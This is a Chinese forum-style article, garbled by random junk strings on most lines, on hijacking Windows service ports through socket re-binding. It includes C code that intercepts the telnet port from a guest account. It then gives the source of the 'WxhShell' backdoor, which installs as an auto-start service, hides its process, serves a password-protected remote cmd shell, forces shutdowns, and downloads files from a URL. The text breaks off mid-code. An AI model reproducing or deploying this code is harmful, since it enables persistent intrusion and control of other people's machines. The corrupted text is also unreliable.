在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v>mK~0.$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P0sAq7" +M#}(hK saddr.sin_family = AF_INET;
.kkhW8: }7xcHVO8- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%<p/s;eu M
'%zA;Wl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V[Sj+&e& ly_8p63- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[}l 90 lP QctzIC#;k 这意味着什么?意味着可以进行如下的攻击:
!) `*e>]x 8^_e>q*W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~4twI*f zMO#CZ t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f+1'Ah0'E 5}! 36SO\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0ZLLbEfnPB jY=M{?h'' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%BT]h3dcSS ]Wjcr2Wq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@o#Yq
n3Y m6}_kzFz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x;/dSfv_ \!w | 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lF40n4} Y" rODk1 #include
;kR=vv #include
wuk\__f4 #include
.yD
6$!6 #include
[7LdTY"Tl DWORD WINAPI ClientThread(LPVOID lpParam);
%""h:1/S int main()
4gVIuF*pS {
Zw'050~- WORD wVersionRequested;
Zu>-y#Bw DWORD ret;
c6h+8QS WSADATA wsaData;
/;[x3}[ BOOL val;
SXvflr] =m SOCKADDR_IN saddr;
:)T*:51{# SOCKADDR_IN scaddr;
;mGPX~38 int err;
yx*<c#Uf SOCKET s;
PyK!Cyq SOCKET sc;
{X_I>)Wg int caddsize;
fgC@(dvfk HANDLE mt;
gSj0+| DWORD tid;
sX*L[3!vN wVersionRequested = MAKEWORD( 2, 2 );
f5{|_]q] err = WSAStartup( wVersionRequested, &wsaData );
guf*>qNr if ( err != 0 ) {
]:'] printf("error!WSAStartup failed!\n");
"*T)L<G return -1;
'*-SvA\Cx }
[Dt\E4 saddr.sin_family = AF_INET;
@%TQ/L^| Hv=coS>g: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+|0 m6)J] "E8!{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_<~05Eh saddr.sin_port = htons(23);
Y9%yjh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[L\w]6 {
k]JLk"K printf("error!socket failed!\n");
:C&?(HJ&r return -1;
i3~!ofTb }
td m{
V
st val = TRUE;
c]LH. //SO_REUSEADDR选项就是可以实现端口重绑定的
p<+]+,|\~: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/qCYNwWH9 {
nJ? C 4\#3 printf("error!setsockopt failed!\n");
a=J?[qrx return -1;
_x
\Ll?, }
4a 5n*6G! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
63f/-64?7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
::R^ w" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@N(jd($E u1"e+4f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Uyh {
_ E%[D( ret=GetLastError();
l:ED_env: printf("error!bind failed!\n");
EW!$D return -1;
01dx}L@hz }
F>M$|Sc2 listen(s,2);
vW_A.iI"e while(1)
)FP|}DCxQ {
]`NbNr]K caddsize = sizeof(scaddr);
06`__$@h //接受连接请求
5A)w.i&V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,VZ&Gc if(sc!=INVALID_SOCKET)
RpXQi*c0 {
9,Mp/.T" \ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1D`RR/g& if(mt==NULL)
29]8[Z,4 {
) &9=)G printf("Thread Creat Failed!\n");
U\[V !1O break;
miKi$jC}vq }
^Pf&C0xXv }
{aL$vgYT1 CloseHandle(mt);
q^cF D }
7L]?)2= closesocket(s);
<8bO1t^* WSACleanup();
GKS y|z return 0;
qh'BrYu* }
K4yYNlY DWORD WINAPI ClientThread(LPVOID lpParam)
2%8Y-o? {
$SXxAS1 SOCKET ss = (SOCKET)lpParam;
>(CoXSV5 SOCKET sc;
n96gDH* unsigned char buf[4096];
z]YhQIU4n8 SOCKADDR_IN saddr;
C{Ug ?hVP long num;
L1xD$wl DWORD val;
rrWk&;? DWORD ret;
OW}A48X[+ //如果是隐藏端口应用的话,可以在此处加一些判断
OgS8.wX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J9FNjM[qe saddr.sin_family = AF_INET;
}^ <zVdwp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xdM#>z`; saddr.sin_port = htons(23);
{t:ND if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h6e$$-_ {
<`3(i\-X printf("error!socket failed!\n");
6y_Z'@L return -1;
@>@Nug2 }
5Nb_K`Vp* val = 100;
-9I% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pCUOeQL(
{
a~7osRmp0 ret = GetLastError();
SU'9+=_$ return -1;
)T5h\ZO`; }
wKlCx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cmU+VZ#pk {
BmFME0 ret = GetLastError();
:"^<
aLj return -1;
<M?#3&5A }
l&Ghs@>Kl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1!wEXH( {
AV4HX\`{P0 printf("error!socket connect failed!\n");
2P_^@g closesocket(sc);
i{ @'\}{L closesocket(ss);
9:i,WJO return -1;
mMAr8~A= }
1GE%5 while(1)
&[Zap6] {
T\!SA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%OW9cqL>l //如果是嗅探内容的话,可以再此处进行内容分析和记录
ONq/JW$?LV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B;]5,`#! num = recv(ss,buf,4096,0);
d.j'0w"
if(num>0)
niEEm`" send(sc,buf,num,0);
0o$HC86w else if(num==0)
s|j<b#<xQ break;
M|#5gKXd num = recv(sc,buf,4096,0);
H\+c'$ if(num>0)
B=bI'S8\ send(ss,buf,num,0);
]|t.wr3AU else if(num==0)
1R%`i'$/ break;
8C,utjy }
hAr[atu87 closesocket(ss);
iynS4]`U closesocket(sc);
RvS q KW8 return 0 ;
nuO3UD3 }
TflS@Z7C :n4:@L<%H +#uNQ`1v ==========================================================
vMX6Bg8 EPe]-C` 下边附上一个代码,,WXhSHELL
wvmg)4, uz#PBV8Q ==========================================================
@> Ghfh>~D f >)Tq' #include "stdafx.h"
HCx%_9xlm HA9Nr.NqC@ #include <stdio.h>
*pTO|x{ #include <string.h>
2cjEex:& #include <windows.h>
BPWnck=% #include <winsock2.h>
baIbf@t/ #include <winsvc.h>
l.7d$8'\ #include <urlmon.h>
@xJCn}`Zj Ea4
* o #pragma comment (lib, "Ws2_32.lib")
kV1vb #pragma comment (lib, "urlmon.lib")
S'?fJ. hwDXm9 #define MAX_USER 100 // 最大客户端连接数
S$K}v,8.sr #define BUF_SOCK 200 // sock buffer
6To:T[ z# #define KEY_BUFF 255 // 输入 buffer
?48AY6 s$3`X(Pn #define REBOOT 0 // 重启
\ 522,n` #define SHUTDOWN 1 // 关机
.\)k+ R =z-5 #define DEF_PORT 5000 // 监听端口
\c68n 0h:G4 #define REG_LEN 16 // 注册表键长度
C.HYS S #define SVC_LEN 80 // NT服务名长度
,|iy1yg( Wo2v5- // 从dll定义API
hpjUkGm5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fD(7FN8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;ct)H*
y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#Jv43L H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
zS?n>ElI (h|ch# // wxhshell配置信息
JE9>8+ struct WSCFG {
YJc%h@ _=] int ws_port; // 监听端口
KJ pj char ws_passstr[REG_LEN]; // 口令
Me<du&
T int ws_autoins; // 安装标记, 1=yes 0=no
blmmm(|~| char ws_regname[REG_LEN]; // 注册表键名
7 7^
"xsa char ws_svcname[REG_LEN]; // 服务名
wH#-mu#Yl< char ws_svcdisp[SVC_LEN]; // 服务显示名
-HN%B?}. x char ws_svcdesc[SVC_LEN]; // 服务描述信息
k%^<}s@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n_u`B|^Pj int ws_downexe; // 下载执行标记, 1=yes 0=no
:Dt\:`(r' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%awVVt{aG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mHHzCKE , 33,;iE };
/4^G34 mw ?{LT // default Wxhshell configuration
^aT;aP^l struct WSCFG wscfg={DEF_PORT,
Kc-Y "xuhuanlingzhe",
^IYJEqK 1,
2DUr7rM "Wxhshell",
@Mzz2&(dU "Wxhshell",
;C+cE# "WxhShell Service",
4uX,uEa "Wrsky Windows CmdShell Service",
.B6`OX&k "Please Input Your Password: ",
v&e-`.xR 1,
)>?! xx_` "
http://www.wrsky.com/wxhshell.exe",
Z6NJ)XQy6F "Wxhshell.exe"
P&,hiGTDi };
ot]>}[
xJN |w\& // 消息定义模块
XynU/Go, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>1m)%zt char *msg_ws_prompt="\n\r? for help\n\r#>";
lD9%xCo9( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
BSOjyy1f char *msg_ws_ext="\n\rExit.";
&|s+KP|d char *msg_ws_end="\n\rQuit.";
)\D2\1e(c char *msg_ws_boot="\n\rReboot...";
lfXH7jL2~ char *msg_ws_poff="\n\rShutdown...";
n}=rj7 char *msg_ws_down="\n\rSave to ";
wH+FFXGJs kV_#9z7% char *msg_ws_err="\n\rErr!";
/SbSID_a char *msg_ws_ok="\n\rOK!";
(QhGxuC <"hb#Tn char ExeFile[MAX_PATH];
k& WS$R?u int nUser = 0;
mXQl; HANDLE handles[MAX_USER];
x(rd$oZO int OsIsNt;
o`b$^hv{A @bc[
eas SERVICE_STATUS serviceStatus;
u)tHOV>& SERVICE_STATUS_HANDLE hServiceStatusHandle;
>g>f;\mD7$ d&NCFx // 函数声明
gTqeJWX9wP int Install(void);
c"sj)-_ int Uninstall(void);
j#7wyi5q int DownloadFile(char *sURL, SOCKET wsh);
.=>\Qq% int Boot(int flag);
m5X3{[a: void HideProc(void);
1P(%9 int GetOsVer(void);
f<g>dQlE int Wxhshell(SOCKET wsl);
NS7@8 #C void TalkWithClient(void *cs);
7vii9Am7 int CmdShell(SOCKET sock);
I~d#p ]> int StartFromService(void);
;[FW! int StartWxhshell(LPSTR lpCmdLine);
jN31\)/i }l,T~Pjb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_7r qXkp% VOID WINAPI NTServiceHandler( DWORD fdwControl );
f@wsSm LN@lrC7X // 数据结构和表定义
u^}7Vs
. SERVICE_TABLE_ENTRY DispatchTable[] =
X*TuQ\T {
cYZwWMzp {wscfg.ws_svcname, NTServiceMain},
T[i7C3QS {NULL, NULL}
+L^A:}L( };
[54@i rH WpXODkQL // 自我安装
jf$JaY int Install(void)
Ul'~opf {
*Gg1h@& char svExeFile[MAX_PATH];
ExNj|* HKEY key;
eNIkiJ$uS strcpy(svExeFile,ExeFile);
skk-.9 g0^~J2sDd // 如果是win9x系统,修改注册表设为自启动
Vpug"aR&_ if(!OsIsNt) {
s5c! ^,L8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xaGVu0q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j#*asGdp#J RegCloseKey(key);
Gl?P.BCW.& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)z]q"s5 Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S/@dkHI' RegCloseKey(key);
fOqS|1rC return 0;
[<#<:h&\ }
(t]lP/
}
a<OCO0irJ }
_Vdb? else {
*k3 d^9o# #JJp:S~` // 如果是NT以上系统,安装为系统服务
u~/M
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*kX3sG$8 if (schSCManager!=0)
naec"Kut {
OYqYI!N/ SC_HANDLE schService = CreateService
v$gMLu= (
]C}u-B746 schSCManager,
s=^r/Sz902 wscfg.ws_svcname,
xZ9}8*Q&: wscfg.ws_svcdisp,
jSeA%Te SERVICE_ALL_ACCESS,
`nd#< w> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
% +kT SERVICE_AUTO_START,
/(hP7_]`2 SERVICE_ERROR_NORMAL,
&;6|nl9; svExeFile,
<?q&PCAn^ NULL,
F:*[ NULL,
T3u5al NULL,
Dyouk+08x NULL,
U:mq7Rd8 NULL
lRF_ k );
P`Hd*xh".j if (schService!=0)
[6,]9|~ {
Ie^Dn!0S CloseServiceHandle(schService);
a`EGx{q( CloseServiceHandle(schSCManager);
#q~3c;ec strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c:?#zX strcat(svExeFile,wscfg.ws_svcname);
p0[,$$pM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"W_jdE6v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gCk y(4 RegCloseKey(key);
0_,3/EWa return 0;
Ww'TCWk@ }
A]tf>H#1 }
a O"nD_7 CloseServiceHandle(schSCManager);
9z|>roNe }
lry&)G=5 }
`L"p)5H TzevC$m;z return 1;
RKoP6LGw }
,IT)zCpaBP aiR|.opIb // 自我卸载
Q-%=ZW Z int Uninstall(void)
SmEd'YD!J {
!g:G{b HKEY key;
T`DlOi]Z_ 2F(\ }%UT~ if(!OsIsNt) {
p2?+[d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M@86u^80 RegDeleteValue(key,wscfg.ws_regname);
lMf5F8 RegCloseKey(key);
'WgwLE_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`\uv+^x{ RegDeleteValue(key,wscfg.ws_regname);
lGgKzi9VD RegCloseKey(key);
13@| {H CB return 0;
@G{DOxE* }
6$;)CO!h }
EqU[mqeF }
*==nOO9G else {
TBp5xz` LBi>D`] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
laJ%fBWmbi if (schSCManager!=0)
Q9V4-MC9 {
3"%44' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~"B[6^sW if (schService!=0)
hfc!M2/w {
6Ky"4\e if(DeleteService(schService)!=0) {
e-meUf9 CloseServiceHandle(schService);
"Y0[rSz,UW CloseServiceHandle(schSCManager);
:!\./z8v return 0;
A|-\C$ }
1mM52q.R4 CloseServiceHandle(schService);
{q4"x5| }
a5&j=3)| CloseServiceHandle(schSCManager);
*(IO<KAg8 }
>,2],X"G }
5q>u
}J ;OyM~T gI return 1;
0:8'Ov( }
9hzU@m GUXX|W[6 // 从指定url下载文件
GTvb^+6 int DownloadFile(char *sURL, SOCKET wsh)
]x\wP7x {
nQ6'yd" HRESULT hr;
\ed(<e> char seps[]= "/";
jT0fF char *token;
95&HsgdxJ char *file;
df\>-Hl char myURL[MAX_PATH];
Kwnu|8 char myFILE[MAX_PATH];
w{IqzmPiH ^"- 2fJ strcpy(myURL,sURL);
H[Cn@XE token=strtok(myURL,seps);
VGIc|Q=F while(token!=NULL)
NKrk*I"G {
'r
CR8>k file=token;
rz*Jm n b token=strtok(NULL,seps);
C5z4%,`f }
2F(j=uV+ N~(}?'y9S GetCurrentDirectory(MAX_PATH,myFILE);
|Gi/=[Tp strcat(myFILE, "\\");
ZW"J]"A strcat(myFILE, file);
R,lr&;a8 send(wsh,myFILE,strlen(myFILE),0);
=
'[@UVH(Z send(wsh,"...",3,0);
#s%$kYp 1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I%Z&i-33y if(hr==S_OK)
u9Ro=#xt return 0;
iatQHn>( else
T5)?6i-N return 1;
DS
yE {Bx\Z0+'& }
o^D{WH\p -}s?!Pg> // 系统电源模块
q I}Zg)q] int Boot(int flag)
y5I7pbe {
(TPD!= HANDLE hToken;
H b.oKo$T TOKEN_PRIVILEGES tkp;
BKk*<WMD #@G2n@Hj if(OsIsNt) {
Lfor0-j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9 +6"<r! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xUYSD tkp.PrivilegeCount = 1;
%{Gqhb=u\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2B#WWb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<[Vr(.A if(flag==REBOOT) {
lc^%:#@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=g ]C9'I3 return 0;
<7XdT }
Y+E@afsKs else {
Z'E@sc 9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@0G}Q return 0;
.s+e
hZ }
(/^&3xs9 }
2
UgjH else {
|67UN U if(flag==REBOOT) {
Z7 @#0;g{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
V:lDR20*\ return 0;
D4G{= Y}G }
\l`;]cA else {
`
H"5nQRV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V1+IqOXAIp return 0;
R
.,w`<< }
Sdn]
f4 }
m+L:\mvA ji1A>jepF return 1;
(wTg aV1 }
P%ye$SASd *?s/Ho &' // win9x进程隐藏模块
,Z >JvTnH void HideProc(void)
r';Hxa ' {
|:{g?4Mi O#A8t<f|M HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]U#JsMS if ( hKernel != NULL )
_3*: y/M_ {
F%9e@{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`NTM%# w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4,o
%e,z FreeLibrary(hKernel);
!>?4[|?n< }
j'#)~>b 8Ix-i return;
@#'yPV1 }
VZAuUw+M xn0s`I[ // 获取操作系统版本
+qE,<c}} int GetOsVer(void)
vQ?MM&6 {
mrw]yu;2<n OSVERSIONINFO winfo;
Cmp{F N"o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
oFX"F0rx GetVersionEx(&winfo);
z0EjIYI[N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
yd\5Z[iEp return 1;
(jD'+ "? else
//ne']L return 0;
7O;BS}Lv= }
WV5r$ ~Rx~g // 客户端句柄模块
WRN8#b int Wxhshell(SOCKET wsl)
Fr938q6^- {
V'Sd[* SOCKET wsh;
U}mL,kj" struct sockaddr_in client;
?GaI6?lbn DWORD myID;
]<&B
BQ bW,BhUb,| while(nUser<MAX_USER)
::^qy^n {
g] 7{5 int nSize=sizeof(client);
a>;3
j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)&b}^1 if(wsh==INVALID_SOCKET) return 1;
60Xl. <-Kb@V3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^=4I|+P,6. if(handles[nUser]==0)
e
_SoM!; closesocket(wsh);
F)[XIY&2/ else
(6b?ir ~ nUser++;
-+j9X;h: }
W07-JHV% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-$sl!%HO% .P|+oYT&g return 0;
{Oc?C:aI= }
: pE-{3I @M1yBN // 关闭 socket
&UJTy' void CloseIt(SOCKET wsh)
B^_$
hJncc {
=Ov;'MC closesocket(wsh);
x`j$9XN5 nUser--;
'AAF/ 9 ExitThread(0);
l"~h1xk~ }
\pBYWf >h/)r6 // 客户端请求句柄
~8Dd<4?F] void TalkWithClient(void *cs)
}R(0[0NQe- {
3Aqe;Wf9%+ dZ;~b(CA SOCKET wsh=(SOCKET)cs;
{=pP`HD0 char pwd[SVC_LEN];
Z7KB?1{G char cmd[KEY_BUFF];
#C=L^cSx( char chr[1];
w'5dk3$" int i,j;
I2Or&
_ lhIr]'?l while (nUser < MAX_USER) {
q6m87O9 ~NxoF if(wscfg.ws_passstr) {
2jrX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1VPN#Q! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;|2;kvf"w //ZeroMemory(pwd,KEY_BUFF);
u6bB5(s`& i=0;
_6QLnr&@j while(i<SVC_LEN) {
k{u%p < 46.q anh // 设置超时
CB{k;H fd_set FdRead;
+~pc%3* struct timeval TimeOut;
40l#'< y; FD_ZERO(&FdRead);
^JF_;~C FD_SET(wsh,&FdRead);
gYH:EuY, TimeOut.tv_sec=8;
)lngef
/D_ TimeOut.tv_usec=0;
H $qdU!c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U%B]N@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Q,M/R6i- LTls]@N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'\E*W!R.] pwd
=chr[0]; Pi]s<3PL
if(chr[0]==0xd || chr[0]==0xa) { me}Gb a
pwd=0; qNQ3(1xW
break; 1o"oa<*_
} <K.C?M(9
i++; Wp9
2sm+
} +/_B/[e<>
da86Jj=k
// 如果是非法用户,关闭 socket W0?Y%Da(4m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^>R| R1&
} &fNE9peQFa
t%YX-@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "j@IRuH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ([XyW{=h!
uRq#pYn@
while(1) { -9<yB
*$Wx*Jo
ZeroMemory(cmd,KEY_BUFF); &u`rE""
*p5T
// 自动支持客户端 telnet标准 9oau_Q#
j=0; 2] wf`9ZH
while(j<KEY_BUFF) { >p#d;wK4_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2D_Vo ])l/
cmd[j]=chr[0]; d~1"{WPSn
if(chr[0]==0xa || chr[0]==0xd) { 9qO:K79|
cmd[j]=0; E?5B>Jer#
break; s1b\I6&:J
} H=SMDj)s+
j++; .1q~,}toX
} RknSWuFKt
mbG^fy'
// 下载文件 28qWC~/9
if(strstr(cmd,"http://")) { \]:NOmI^'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^0?cyv\>LA
if(DownloadFile(cmd,wsh)) `[u>NEb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE-, 1p
else H.G^!0j;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &IPK5o,
} Dq1XZ%8
else { ^>}[[:( 6/
T`0gtSS
switch(cmd[0]) { 7Z :l;%]K
<yaw9k+P
// 帮助 <u%e*
case '?': { :qKY@-t7H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N0KRND
break; FJH8O7
} k 5kX
// 安装 iK0J{'
case 'i': { 4!W?z2ly~R
if(Install()) PsT v\!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BJ2W}R
else gM[
J'DMW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p%tg->#L
break; *wyLX9{:
} #EK8Qe_
// 卸载 ]* Ki7h|B
case 'r': { ~4gKAD
if(Uninstall()) \(t>(4s_~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <G =@Gl
else !\'H{,G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*DKpJy
break; jatlv/,
} \S1W,H|
// 显示 wxhshell 所在路径 8@LUL)"
case 'p': { agE-,
char svExeFile[MAX_PATH]; sv!v`zh
strcpy(svExeFile,"\n\r"); =f [/Pv
strcat(svExeFile,ExeFile); 2,^> lY
send(wsh,svExeFile,strlen(svExeFile),0); l)~U8
break; )l.uj
} (:O6sTx-hE
// 重启 <&2<>*/.y
case 'b': { VW*?(,#j{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kjB'WzZ8
if(Boot(REBOOT)) }0Uh<v@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DVMdRfA
else { t;/uRN*.
closesocket(wsh); ZJc{P5a1J
ExitThread(0); H9i7y,[*
} d:>'c=y
break; %NJ0Y(:9(
} f F)M'C
// 关机 *9xxX,QT8Q
case 'd': { /U0Hk>$~(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d*VvQU8C
if(Boot(SHUTDOWN)) j@^zK!mO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Dx*[.M3>
else { \8m9^Z7IfK
closesocket(wsh); B|yz~wuS
ExitThread(0); 7R
m\#
} Q4L=]qc T
break; *o\AP([@
} U<Qi`uoj!
// 获取shell 5c(g7N
case 's': { TC44*BHq
CmdShell(wsh); 'q_ Z
dw%
closesocket(wsh); 3e47UquZ
ExitThread(0); oXqJypR 2
break; l4.ql1BX@y
} nM:<l}~v{
// 退出 _-TW-{7bh
case 'x': { HeO&p@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !lL
`L\
CloseIt(wsh); G`jvy@
break; S)wP];]`K
} | 4}Y:d
// 离开 Ok@`<6v
case 'q': { ~av#r=x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B(vCi^
closesocket(wsh); I{>Z0+
WSACleanup(); tKcC{
exit(1); zv0sz])
break; U^
,!
} iR./9}Ze
} |<,0*2
} ;|oft-y
SCe$v76p#
// 提示信息 kZ)}tA7j
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^'M^0'_"v
} iu*&Jz)D>
} cF=W hP*f
$N}t)iA
return; /5"T46jD
} _h \L6.
{l{p
// shell模块句柄 /'
L20aN2
int CmdShell(SOCKET sock) OdgfvHDgW
{ CvmZW$5Yo
STARTUPINFO si; g*t.g@B<2
ZeroMemory(&si,sizeof(si)); 9bgKu6-X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WzgzI/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JiZ9ly(G
PROCESS_INFORMATION ProcessInfo; COv#dOw
char cmdline[]="cmd"; #[sC H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,iCd6M{
return 0; ]w%7/N0R
} z QoMHFL3
/r@P\_
// 自身启动模式 y[qW>
int StartFromService(void) @SPmb o
{ lO%Z4V_Mj
typedef struct vtR<(tOu@
{ 5<IUTso5h
